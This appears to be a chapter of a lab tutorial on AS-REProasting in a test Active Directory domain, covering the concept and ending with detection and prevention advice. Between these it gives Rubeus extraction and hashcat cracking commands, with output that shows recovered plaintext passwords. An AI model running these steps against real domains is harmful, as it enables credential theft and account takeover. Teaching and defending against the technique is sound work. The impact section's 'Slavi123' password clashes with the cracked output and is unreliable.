

Chapter 3: AS-REProasting

1 The Concept: Kerberos Pre-authentication

Technical Concept: What is AS-REProasting?

AS-REProasting is an attack that targets user accounts with the **"Do not require Kerberos preauthentication"** property enabled.

- **Normal Operation:** To prevent offline guessing, Kerberos usually requires a user to prove they know their password *before* the Domain Controller sends back an encrypted ticket.
- **The Flaw:** If pre-authentication is disabled, an attacker can ask the Domain Controller for a ticket for that user without providing any proof of identity. The DC will blindly send back an encrypted **AS-REP** message.
- **The Exploit:** The attacker takes this AS-REP message offline and attempts to crack the user's password using the same brute-force principles as Kerberoasting.

The Grand Hotel Analogy: The "Unlocked Room" Voucher

Imagine a staff member named **Anni** works in a department with very old, simplified rules.

- **Normal Protocol:** Usually, if a staff member wants a room voucher, they must show their badge (*Pre-authentication*) to prove who they are.
- **The Exception (The Vulnerability):** Anni's account is set to **"No Badge Required."**
- **The Attack:** A Dishwasher (*Bob*) walks up to the Front Desk and simply shouts: *"Give me a voucher for Anni!"*
- **The Payoff:** Because of the weak rule, the Front Desk hands Bob a locked box (*AS-REP hash*) without checking his ID. Bob takes the box home and uses his 3D printer (*Hashcat*) to find a key that fits Anni's lock.

2 Attack Execution: Step-by-Step

2.1 Step 1: Extracting the AS-REP Hashes

We use **Rubeus** to search the domain for any users who do not require pre-authentication and extract their hashes into a file.

>_ Terminal: Windows PowerShell (as bob)

```
.\Rubeus.exe asreproast /outfile:asrep.txt
```

```
C:\Users\bob\Downloads>.\Rubeus.exe asreproast /outfile:asrep.txt

  (S)
  RUBEUS
  (S)

v2.0.1

[*] Action: AS-REP roasting
[*] Target Domain      : eagle.local
[*] Searching path 'LDAP://DC1.eagle.local/DC=eagle,DC=local' for '(&(samAccountType=805306368)(u
3556.1.4.803:=4194304))'
[*] SamAccountName     : anni
[*] DistinguishedName  : CN=anni,OU=EagleUsers,DC=eagle,DC=local
[*] Using domain controller: DC1.eagle.local (172.16.18.3)
[*] Building AS-REQ (w/o preauth) for: 'eagle.local\anni'
[+] AS-REQ w/o preauth successful!
[*] Hash written to C:\Users\bob\Downloads\asrep.txt

[*] SamAccountName     : svc-iam
[*] DistinguishedName  : CN=svciam,OU=Detections,OU=EagleUsers,DC=eagle,DC=local
[*] Using domain controller: DC1.eagle.local (172.16.18.3)
[*] Building AS-REQ (w/o preauth) for: 'eagle.local\svc-iam'
[+] AS-REQ w/o preauth successful!
[*] Hash written to C:\Users\bob\Downloads\asrep.txt

[*] Roasted hashes written to : C:\Users\bob\Downloads\asrep.txt
C:\Users\bob\Downloads>
```

For hashcat to be able to recognize the hash, we need to edit it by adding **23\$** after **\$krb5asrep\$**:



*asrep.txt - Notepad

File Edit Format View Help

```
$krb5asrep$23$anni@eagle.local:E774F
$krb5asrep$23$svc-iam@eagle.local:4E
```

2.2 Step 2: Preparing and Cracking the Hash

To make the hash recognizable for **Hashcat**, we must ensure it is in the correct format (Mode 18200).

>_ Terminal: Kali Linux Terminal

```
sudo hashcat -m 18200 -a 0 asrep.txt passwords.txt --outfile asrepcrack.txt  
--force
```

```
Session.....: hashcat  
Status.....: Cracked  
Hash.Mode.....: 18200 (Kerberos 5, etype 23, AS-REP)  
Hash.Target.....: asrep.txt  
Time.Started.....: Fri Jan  9 18:56:01 2026, (0 secs)  
Time.Estimated...: Fri Jan  9 18:56:01 2026, (0 secs)  
Kernel.Feature...: Pure Kernel  
Guess.Base.....: File (passwords.txt)  
Guess.Queue.....: 1/1 (100.00%)  
Speed.#1.....: 834.8 kH/s (1.62ms) @ Accel:512 Loops:1 Thr:1 Vec:8  
Recovered.....: 2/2 (100.00%) Digests, 2/2 (100.00%) Salts  
Progress.....: 12288/20004 (61.43%)  
Rejected.....: 0/12288 (0.00%)  
Restore.Point....: 4096/10002 (40.95%)  
Restore.Sub.#1...: Salt:1 Amplifier:0-1 Iteration:0-1  
Candidate.Engine.: Device Generator  
Candidates.#1....: 12345678q -> 7894561230  
Hardware.Mon.#1..: Util: 24%  
  
Started: Fri Jan  9 18:55:58 2026  
Stopped: Fri Jan  9 18:56:03 2026
```

After the Hashes are cracked all the passwords are visible in plain text

```
(kali@kali)-[~]  
$ sudo cat asrepcrack.txt  
$krb5asrep$23$anni@eagle.local:e774f7b286c360e7a6ccceaded3b31ea0$50b1afa38de7a662d9ecf5ca52d2f385c5a64c705f3  
fa17e6a09b103622497eb7d655640ac09afa77aa21790bce01908fa51ed0a08ca0d661baff5fea9b36495c07e176cfa80d2c8a33d8a  
0a7d3742dea5bac219fea50827b4c4d2d48d0f389209833c9a49073da6b67f8584e1e12bd2526d89f98c40b80f64986ef4caed0ba43  
5e3fd31341084687d8bb1213e9467bb4cf671ac8936e872c6b529eceaf46ff7b53bdbffe46d80ad61b6a8411ef7d:shadow  
$krb5asrep$23$svc-iam@eagle.local:4b5955d7d49a1c18f178888f80e00900$eff05a65b24a0be0bc5ef386cd691b1dc245d060  
772b81b5df28ccf9596c88c47f81156e4ad690e0a5ee133711343c0bc004c3c2f3c9c22154fc929562b825d97b2636c4b44834a8713  
1a421721222f7f53f15a9bb5fa59be42e8ba92b06649d9cb9a7660c8370e52ad48e65dae295ac5576901802aa5d86a4ff347846e025  
b87945117f99266b2d8550560936d4d837dbb432c9a6cc2c7d1f9a9fcac509fec8f1a863fa9d4f1673f57dfffa105f0:mariposa
```

3 The Impact: Beyond the Hash

Because this attack often targets regular user accounts rather than service accounts, the passwords found are often simpler and easier to crack.

Technical Concept: Post-Exploitation

- **Account Takeover:** The attacker can now log in as **Anni** to any workstation or service she has access to.
- **Credential Re-use:** Attackers will often try the cracked password (*Slavi123*) on other accounts, hoping for "password spraying" successes.

4 Detection & Prevention

Technical Concept: Defense Strategies

- **Prevention:** Review accounts quarterly and disable the "**Do not require Kerberos preauthentication**" property unless strictly necessary.
- **Honeypots:** Create a fake user with this property enabled. Any login attempt or AS-REQ for this account is a high-fidelity indicator of a roasting attempt.
- **Detection (Event ID 4768):** Monitor for authentication tickets generated with **Pre-Authentication Type 0** and weak encryption types like **RC4** (0x17).